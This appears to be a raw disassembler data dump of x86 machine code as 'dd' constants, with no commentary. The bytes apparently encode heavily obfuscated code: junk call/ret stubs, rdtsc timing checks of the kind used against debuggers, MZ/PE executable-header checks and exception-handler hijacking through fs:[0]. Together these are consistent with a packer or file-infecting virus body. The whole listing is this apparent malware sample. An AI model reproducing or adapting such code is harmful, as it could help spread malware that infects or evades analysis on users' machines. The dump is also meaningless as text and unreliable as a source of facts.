		dd 8B665250h, 0E9310FF8h, 12h, 6EBF568Eh, 0BF95385h, 14E851A1h
		dd 176FEE2Bh, 585A6530h, 24448B50h, 0D840F04h, 50000000h
		dd 0CE82BA52h, 310F4100h, 585A88B2h, 5DB1008Bh,	4244489h
		dd 1333BA57h, 585F24C3h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 42C35343h, 0E990500Bh, 9, 86703185h
		dd 0CB2ACB0Eh, 8B6650B6h, 0B58990FBh, 6072615h,	6A0B6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 98FB9FC3h, 29BD89h, 858D0607h, 60B1B31h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 25C35747h, 0BC5AE759h
		dd 0BD8D0BFCh, 23060703h, 70BDD95h, 5CB65006h, 0F240489h
		dd 8Ch,	7995FF00h, 6A06072Ah, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3BB6C355h, 0E2B9C72Bh
		dd 8D6D4891h, 0B1B3BB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8A0FE8FBh, 6, 0FE58D89h
		dd 0CA8B0607h, 8B665350h, 34895FF8h, 52006A24h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9FB4662Bh
		dd 901315CBh, 0B5958BE4h, 5006072Bh, 7E8h, 0B8F37400h
		dd 254D6F84h, 895912B5h, 12E82404h, 8B000000h, 4053568Ah
		dd 9B64C947h, 5D1A2F4Ah, 3CB2D88h, 159D89C4h, 5A06070Ch
		dd 0BE195FFh, 2B600607h, 7073585h, 498D8B06h, 6106070Ch
		dd 850FC00Bh, 56h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0F4C35040h, 0D7A3AA0Ah, 0CE4CCFFAh, 7B5BD03h
		dd 0BD230607h, 60702D9h, 7AAE9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 224FCE1Ch
		dd 0D0FF419Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	16C35141h, 7D54C957h, 51FB315Eh, 65DB589h, 8B5A0607h
		dd 0B1B64B5h, 97BAB906h, 468D2975h, 5CD18120h, 6A2009EEh
		dd 0D3BF0F04h, 50D3B290h, 2800Fh, 0D48A0000h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 1EF51E9Eh, 1B7495FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 805964C3h, 56DD38F4h
		dd 1FE1B589h, 0B5F0607h, 0A840FC0h, 66000000h, 0D8E9FA8Bh
		dd 0B2000006h, 207E80BEh, 0CC840F00h, 29000006h, 726D5BDh
		dd 14E86006h, 34000000h, 934C9F7h, 7BB38C31h, 236C5E9Eh
		dd 5A4ADC03h, 9A67541h,	71009B5h, 8D015E06h, 60726B1h
		dd 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 958BB1C3h, 6071425h, 8DF9BF0Fh, 6A2046h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0CA79E3C3h, 0B6024CE3h, 88BF66BEh, 6085895Ch, 0F5060B1Bh
		dd 163E9h, 8BCE8B00h, 713E1BDh,	6A4006h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 7D573AC3h
		dd 1CDCDDEFh, 0F181661Bh, 5250DB28h, 2404895Ah,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 65C35343h, 0AE9B4h
		dd 0B5730000h, 0B6417D69h, 934CE2F3h, 198B0Fh, 14E90000h
		dd 0C2000000h, 0F6110EACh, 28B887AAh, 0C010981Bh, 250CB52Ch
		dd 6A34A1E4h, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 618B3DBh,	80D4ACB0h, 5257E6D9h, 0CE8h
		dd 0A0A99700h, 357A6A53h, 0ECD01A98h, 5A59595Fh, 2B6D8D8Bh
		dd 0F900607h, 582h, 5DBBBF00h, 50503B9Eh, 9E952h, 2E530000h
		dd 0F8005639h, 0F2C53E2h, 0CA8B6631h, 6A90585Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0A6E2C351h, 0D5467E64h, 1B7495FFh, 6A060Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0B116C1C3h, 2D218D8Bh, 0D88B0607h, 889958Bh,	0B6580607h
		dd 0FDB0B95h, 1B84h, 0FAB70F00h, 4F2E9h, 8E800h, 4EA30000h
		dd 0D88652D5h, 81669B2Dh, 5F2529D9h, 0F003880h,	0FFFE9C85h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 224E067Eh, 7EA564E3h, 8589F595h,	6071F19h
		dd 3BE9h, 0D1B58900h, 0E906070Fh, 7, 644DFC68h,	48F3BB9Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 1EC35343h
		dd 0F21FB76h, 38Dh, 0CFB70F00h,	1B60853Bh, 820F060Bh, 62h
		dd 8097DA80h, 3880BCE1h, 53840F5Ch, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0FA46C350h, 11E8h, 0B49F5700h, 0AA1E2C6h, 0CEDF62F5h
		dd 41AE488h, 0BD09BC97h, 60700A1h, 2F388059h, 0FF79850Fh
		dd 0BE9FFFFh, 7E000000h, 0ACA2F840h, 46B76AEEh,	0F405E8Ch
		dd 68Dh, 1BD8B00h, 83060731h, 0B1B68BDh, 840F0006h, 169h
		dd 0FCBB70Fh, 0C84h, 7E900h, 72960000h,	8F4FD11Ch, 0B96650B2h
		dd 48960A9h, 60F58A24h,	61F08B66h, 1B688503h, 6A060Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 59ED84C3h, 5D5DA15Fh, 89D78B50h, 0CE92404h, 74000000h
		dd 0B9F94176h, 554254A8h, 0BF4A08ADh, 75CD59C5h, 6A046Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0CC8244C3h, 13E958FDh, 96000000h, 6255C966h,	9E657Fh
		dd 3B4A3F70h, 1C0BEE8Fh, 0AE83538h, 2F000000h, 0AE0F928Fh
		dd 56411DECh, 0A0BF6618h, 0BF50597Eh, 760DE426h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0FF1CC355h, 0BF6800Ch, 1BC18529h,	0BF660607h
		dd 95FFC01Ch, 60B1B74h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0FFC35747h, 0F8407E56h, 6AEEACA2h, 5E9h
		dd 0B0B8BF00h, 0BD8B4FAEh, 6070A59h, 8D8BD88Bh,	6070561h
		dd 8B665158h, 0DB0B5FCBh, 19840Fh, 9D890000h, 6070C7Dh
		dd 29EE9h, 88A0F00h, 53000000h,	1AFD9D31h, 0C65F0607h
		dd 0AE90000h, 0AD000000h, 0C6F53628h, 4BBD0001h, 0CA8058A2h
		dd 52505022h, 310FD78Bh, 8F0F5250h, 0
		dd 0FB1310Fh, 585A585Ah, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2BA0C356h
		dd 0F124B966h, 8D0B1E6Ah, 60730B9h, 830F5090h, 2, 509063B1h
		dd 0FFFB8B59h, 0B1B7495h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0E5D8CE2Fh
		dd 0CD9D29F2h, 60060701h, 0F02EF81h, 0E6802F24h, 0D88B611Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CFC35747h
		dd 12890F93h, 60000000h, 25F59501h, 5E90607h, 1F000000h
		dd 0E53226E6h, 6A5861h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0E70F41C3h, 0F486C660h, 9B5199BFh
		dd 0B5850965h, 0B060713h, 29840FDBh, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 9C5FC355h, 7349FF7Fh, 5CE9F8A9h, 0F8000001h,	0FB8B6690h
		dd 0EE950h, 5D7C0000h, 5720EFCAh, 2C4032A3h, 319F3A35h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0F880AD1Dh, 0B11F0462h, 54B5FF14h, 81060B1Bh
		dd 552F95E9h, 45B9660Bh, 5895FFD2h, 0B060B1Bh, 84850FC0h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0AB93C355h, 0DBDEA94Dh, 41BD8B7Ch
		dd 61060701h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	42C35141h, 80F4B7A8h, 85C786EAh, 60B1B5Ch, 1, 5119D89h
		dd 0A0E90607h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 6D4C356h, 81B50134h
		dd 61060727h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	3C35747h, 62C63490h, 0F90C492h,	0E98D8BBCh, 8106072Ch
		dd 11CC6h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 23410055h, 0D3E997C6h, 6AFFFFF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 93D1C356h, 9B2E05A2h, 68A10944h, 0C5BB2028h
		dd 4C50BA66h, 0D8240481h, 8A3A455Fh, 0E9006AEBh, 0Ah, 1F97DD20h
		dd 0E5C1ABA7h, 8B664D91h, 64B5FFD1h, 6A060B1Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0EA3CC350h, 95FFC88Bh, 6072B85h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 46C35141h, 6F4236FFh, 6890Fh
		dd 95330000h, 60700D5h,	1B5C858Bh, 0B589060Bh, 6071EE5h
		dd 0D08B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0B3C4C351h,	28398589h
		dd 9EBF0607h, 8D6A30D4h, 0B1B6C85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 3B3B4FAh, 50F439ACh
		dd 0DE9h, 211CA200h, 4FED4B2h, 1D6A4CABh, 489913Fh, 0FE924h
		dd 5AAB0000h, 0BC4C05B8h, 0F9B2446Eh, 0D6CA0A14h, 29858D62h
		dd 8B060B1Bh, 7286195h,	8B669006h, 0E95250D1h, 0Ah, 0B46C8967h
		dd 45D1725Dh, 9059C363h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 67C35040h, 0CF96D910h, 95FF9AA8h, 60701FDh
		dd 1F518D8Bh, 0C08B0607h, 198509h, 0BD830607h, 6070FF5h
		dd 83097500h, 73001BDh,	13740006h, 0C08B5350h, 4D0B8h
		dd 0E29D8D00h, 0FF0609AAh, 83585BD3h, 73001BDh,	11740006h
		dd 0D0B85350h, 8D000004h, 9A9E19Dh, 5BD3FF06h, 61858958h
		dd 0E9060702h, 6, 119DA59Dh, 0C08B3BABh, 13E9h,	12A9A900h
		dd 54FB5BAAh, 0C663337h, 0D0A030ACh, 1E42FF32h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 8E9F518Eh, 299D8970h, 0C206071Fh, 6A0008h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 60EAC2C3h
		dd 25F5B589h, 0BD8B0607h, 6071A85h, 0CE961h, 3C460000h
		dd 0E072EF9h, 0B4B7E8BAh, 81663E3Eh, 8B43A2EAh,	0A58D8BC0h
		dd 8D060705h, 0B1B8C85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0ADA4327Fh, 1351BA61h
		dd 5860Fh, 0CDBA0000h, 0B201750Bh, 3D858915h, 0BA060713h
		dd 0F008F000h, 0EA81h, 0C283F000h, 85958914h, 83060716h
		dd 858D14EAh, 60B2F73h,	35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 98589C8h, 3060714h, 0B70F3C40h, 95890650h, 6073181h
		dd 8950508Bh, 7222595h,	0F80506h, 508B0000h, 89D1030Ch
		dd 727D595h, 8500306h, 0E819589h, 8F640607h, 5,	4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 217DBD83h, 0F000607h, 2484h,	585C600h, 4706072Ch, 9AA7D268h
		dd 0ADB5FFD4h, 8D060731h, 0A7B1F85h, 6AD0FF06h,	89D0FF00h
		dd 70E3585h, 0E8D38B06h, 0Bh, 50418FB4h, 0D9F3C37Ah, 0E9C335A7h
		dd 13h,	0C606C6E0h, 612B0D5Ch, 80E62188h, 9C518D3Bh, 5ED74FA9h
		dd 816AD780h, 73C3C6h, 87B0B800h, 0D23373B3h, 0DD8A6060h
		dd 850Fh, 66610000h, 614E06BBh,	80163C8Bh, 0F781E9E9h
		dd 2545D3h, 67099CB8h, 0A8F7815Ah, 0F97DE27Ah, 0CFFEF781h
		dd 0BF0F35E4h, 0CE8B57C0h, 8B16048Fh, 17D880C1h, 6219EA81h
		dd 0B8530EE8h, 18AABAA3h, 15C2815Bh, 660EE862h,	810F17BBh
		dd 0FF8CDCFAh, 0B1850FFFh, 0E8FFFFFFh, 7, 0B5030ABFh, 60BA95F9h
		dd 605861F8h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	9FC35545h, 14547AA3h, 6AC08Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DC9CEC3h
		dd 42004036h, 0B70FD849h, 11B529C8h, 83060720h,	70FF5BDh
		dd 9750006h, 3001BD83h,	74000607h, 8B535019h, 438B8C0h
		dd 85890000h, 60709D5h,	0ACA79D8Dh, 0D3FF0609h,	0BD83585Bh
		dd 6073001h, 50177400h,	438B853h, 85890000h, 60709D5h
		dd 0A9969D8Dh, 0D3FF0609h, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 789A83C3h
		dd 6A116Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 9A8C42C3h, 6F0FD98Bh, 1D8D8BEEh, 8B060732h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0EC0E61B9h, 61B58B7Dh, 0E8060726h, 82Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 69C35040h
		dd 0AA53E051h, 66BFA3D2h, 19D981h, 1F198D89h, 85890607h
		dd 6070B75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	1FC35747h, 32518589h, 0D3E80607h, 6A000007h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0CC4EC357h, 89257249h, 702C985h, 0C9858906h,	0F060721h
		dd 68Eh, 0C19D8900h, 0E8060706h, 796h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0C2C35040h,	0E991C95Ah, 0DED5A203h
		dd 298D892Fh, 89060700h, 7065985h, 5FE8F506h, 89000007h
		dd 711C585h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 738E828h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 113E31C3h
		dd 21858946h, 6A060732h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 7C8EC355h, 67BF6660h
		dd 0EE9FFh, 15BB0000h, 0CD4D0743h, 0E0D719BCh, 65C4AD99h
		dd 5830F61h, 0BF000000h, 4FF092EAh, 5E9B529h, 0C7E80607h
		dd 6A000006h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E989C353h, 6,	0E1E63042h, 0B58B870Fh
		dd 60711DDh, 0C918589h,	0BF0F0607h, 68CE8CEh, 85890000h
		dd 60732C5h, 26498D8Bh,	7BE80607h, 52000006h, 61F9F960h
		dd 11858959h, 6606070Ch, 0E84508B9h, 666h, 6800Fh, 0B5030000h
		dd 6072CCDh, 157D8589h,	95010607h, 60705E5h, 1E5D8589h
		dd 43E80607h, 0F000006h, 8E9CBB7h, 0D4000000h, 0E0BD3F19h
		dd 89318C0Fh, 705A185h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 909A6B59h, 0D6BBD405h
		dd 8589ACB1h, 6070E91h,	5FDE8h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 1585899Fh
		dd 0E8060715h, 5D6h, 8E9h, 7D782300h, 9F53C31Ah, 0E5858990h
		dd 66060711h, 0BBE8FE8Bh, 6A000005h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 45C8C350h
		dd 3C9C6EA4h, 0E8F9D56Fh, 0Bh, 0DE1F3816h, 19EE0DF1h, 8931BA41h
		dd 708798Dh, 85895906h,	6071B45h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 68C35141h, 0F8893B3Ch, 78DBD03h
		dd 4FE80607h, 89000005h, 7139D85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 9B2E05A2h
		dd 0E7A10944h, 521E8h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8E0FD94Fh, 6, 11F99509h
		dd 89F90607h, 72ABD85h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1503AA6Ah, 0F3275EFBh
		dd 870Fh, 0C3E80000h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0C6CBC356h,	0DF8F920Fh
		dd 0F694095h, 68Dh, 0DDB58900h,	8906072Dh, 708B99Dh, 99858906h
		dd 6A060703h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 9371C355h, 0B002EA42h,	0BD8D8900h
		dd 8B060720h, 72759BDh,	0D8B60F06h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0C8C35747h,	0F38B66D4h, 0EE9h
		dd 4FF25200h, 1C7B9926h, 66629288h, 0BA33D49Dh,	6, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7CC35040h, 932BC7A4h
		dd 0C38B9F7Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	9CC35242h, 9B1260F3h, 0CBF8FF68h, 0B37EB96Ch, 0E8C10093h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 109AEBA3h, 2F5EF352h, 25BD8B2Eh,	66060710h
		dd 0E180E2F7h, 6AD82BA6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 9ADDC355h, 921E0552h
		dd 9385C580h, 6E8h, 0A65C7100h,	66282B0Eh, 59E7ACB9h, 5840F50h
		dd 0BE000000h, 483E0601h, 53006A93h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 8353277Eh
		dd 1BAABE66h, 135195FFh, 810F0607h, 14h, 0FE9h,	0F505D300h
		dd 878DE953h, 0FB143895h, 3E792F3Fh, 52006A5Bh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0A32B775Dh
		dd 0B70F5BA6h, 0D9958DCAh, 6A060705h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E279C353h
		dd 0CE81BECAh, 37535416h, 870F1A89h, 5,	0E9C78166h, 44289E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0CFC35040h
		dd 158DF681h, 958D38F9h, 607263Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0FC35646h, 2B665A31h, 72D39BDh
		dd 6A1A8906h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0BF07C350h, 0BBF471E9h, 0D92B85B6h
		dd 20D1B501h, 0D7810607h, 4C9E4670h, 6A044289h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 9C41C351h, 958D35B9h, 607172Dh, 0E3D68166h, 6A1A89E2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 15FCC357h, 0F58D709Eh, 4289F38Bh,	57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 49958DBEh, 6A06070Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 9998C353h, 4C1E57B5h
		dd 0D99D896Fh, 8906072Bh, 53006A1Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 824B5D2Fh
		dd 6A044289h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8D73C356h, 7302995h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 890F8C89h, 6, 0B038CE81h, 1A892C4Dh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 26C35242h, 4428941h
		dd 0AFD8D0Bh, 0B58B0607h, 6072181h, 197D958Dh, 1A890607h
		dd 44289F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	92C35545h, 0BE94D8Eh, 2000000h,	4B13F658h, 931CD428h
		dd 958DFB5Fh, 6072165h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 7CC35545h, 0FA196909h, 565E08B1h, 363FB9CFh
		dd 1A896243h, 6860Fh, 0BD890000h, 6070539h, 6A044289h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0D3CAC357h, 9D09F505h, 6071D09h, 4F1958Dh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8119DBC3h, 86793EDEh, 6A1A890Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0A36DC351h, 312039C0h, 95C1BB05h, 0E9044289h, 0D0h
		dd 6A48B1h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 15h,	90C35141h, 0E1BD89FEh, 6A060712h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 6AD1F8A5h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 2B8AFE62h, 8D9589D4h, 6A060719h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FB6B60Ah, 98Ah,	38E0F00h, 80000000h, 95FF21C5h
		dd 6071379h, 1F818589h,	6AC30607h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 80C8C352h
		dd 0D181204Dh, 45BA216Ch, 0C08BC58Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0BC35747h, 65C88403h, 83FDD031h
		dd 70FF5BDh, 9750006h, 3001BD83h, 74000607h, 8B535019h
		dd 438B8C0h, 85890000h,	607265Dh, 0AD0E9D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6073001h, 50177400h, 438B853h, 85890000h
		dd 607265Dh, 0A9AF9D8Dh, 0D3FF0609h, 8166585Bh,	8B9FE3C7h
		dd 85858DC0h, 6A060707h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 1C52C353h, 0FE81BAB1h
		dd 0B2E94E2Fh, 5083C380h, 48932B3h, 0BD01F924h,	6070BEDh
		dd 83BB006Ah, 6A7DBA8Bh, 0FE86000h, 8E000000h, 0B1EFC155h
		dd 895680EBh, 1638278Dh, 8D89EACAh, 6070061h, 798D295Bh
		dd 61060709h, 248D9D89h, 858D0607h, 60B3D00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8AC35747h, 193BACE5h
		dd 0CB2B9FD4h, 5445E381h, 0C0837A92h, 90FE8A05h, 6BB1BB66h
		dd 0DA8B5250h, 6A905Fh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 481EBBC3h, 6A9B3Ch, 7E9h, 0FFF41500h
		dd 3A827294h, 0B70F006Ah, 0C195FFFAh, 6A060704h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 822DC356h, 66C935Bh,	0AF66549Ch, 0BE8h, 2E5AE900h, 22CD0322h
		dd 0B578AB60h, 0A1EB8166h, 8D8D5BEEh, 60AA64Fh,	2000BB66h
		dd 0E950D1FFh, 0Ah, 1A83FA23h, 45048049h, 835B2438h, 7218DBDh
		dd 850F0106h, 0CEh, 13E9026Ah, 0BD000000h, 62E3A099h, 0A6DE7A4Dh
		dd 9424068h, 4B6A8AE7h,	0BE84721h, 0D3000000h, 983BF21h
		dd 5F940A66h, 9D896B72h, 6070BD5h, 13E9905Fh, 12000000h
		dd 0A74BE0D9h, 890EB4C7h, 0EC67A255h, 9D39F7A4h, 6050F2DDh
		dd 0DE8h, 97880700h, 0D5459E0h,	0C1338813h, 52508EDDh
		dd 585A310Fh, 0AE95Fh, 54470000h, 0E2AF2B23h, 5C276170h
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0EB6B18C3h, 9D8B20C2h, 6071B29h, 1AF995FFh
		dd 0AE80607h, 4A000000h, 2607D6E9h, 0A965AC1h, 0DD8D8924h
		dd 5F06071Bh, 11E9h, 0F0137500h, 8DDFF79Ah, 5BE270ADh
		dd 813898B3h, 8AE90ACCh, 0E800000Eh, 0
		dd 0AED815Dh, 6A060B3Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 8748C353h, 95091EE6h
		dd 6070B6Dh, 9108858Dh,	8B90060Ah, 820F50FAh, 3, 90DA8B66h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 22C35747h
		dd 35FF64D8h, 0
aKikmdi		db 'KMd%',0
		align 4
		dd 4D59D8Bh, 85FF0607h,	60732F1h, 6AFEBF0Fh, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0FFD6B319h, 70B75B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0A3EE17FDh, 89BBDCFBh
		dd 0FF232AB3h, 71AC995h, 125E906h, 81660000h, 0B06405D7h
		dd 11890F00h, 0E8000000h, 5, 6D072350h,	830F59h, 5F000000h
		dd 0BBBB70E6h, 0E44AEE3Bh, 41B52971h, 3C06072Dh, 0F0830F61h
		dd 8B000000h, 0C8B60FFAh, 0BAF98B66h, 6, 3519D31h, 0C18B0607h
		dd 12CD9589h, 0E8C10607h, 5830F04h, 0BB000000h,	482252C4h
		dd 0E8E2F766h, 13h, 9B1E8C86h, 91FF1754h, 2A928047h, 0A672B00Ch
		dd 0E9E6A774h, 0Fh, 0FE1CD14Bh,	1B8BEC9Ch, 536650DDh, 5B2D8FD0h
		dd 0F98BC82Bh, 0BD89D18Bh, 60709DDh, 6E9h, 51BD8B00h, 8B060702h
		dd 705D985h, 0D5958906h, 83060716h, 8B5007C0h, 700C19Dh
		dd 0C0835B06h, 8E900h, 6F0A0000h, 3DF0ECB3h, 0D03B1D29h
		dd 0F830Fh, 0BB660000h,	48E9E1FBh, 89000000h, 70AC98Dh
		dd 0C18D8B06h, 60060715h, 0D365D4B9h, 0ADBD2303h, 61060732h
		dd 0F01E183h, 2684h, 1B58900h, 83060701h, 715C1A5h, 0D2B7FE06h
		dd 0E859D89h, 95890607h, 60705D9h, 0C99BD8Bh, 0E90607h
		dd 8D000000h, 0ABD07B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0FC3FD22Eh, 2CB086FAh
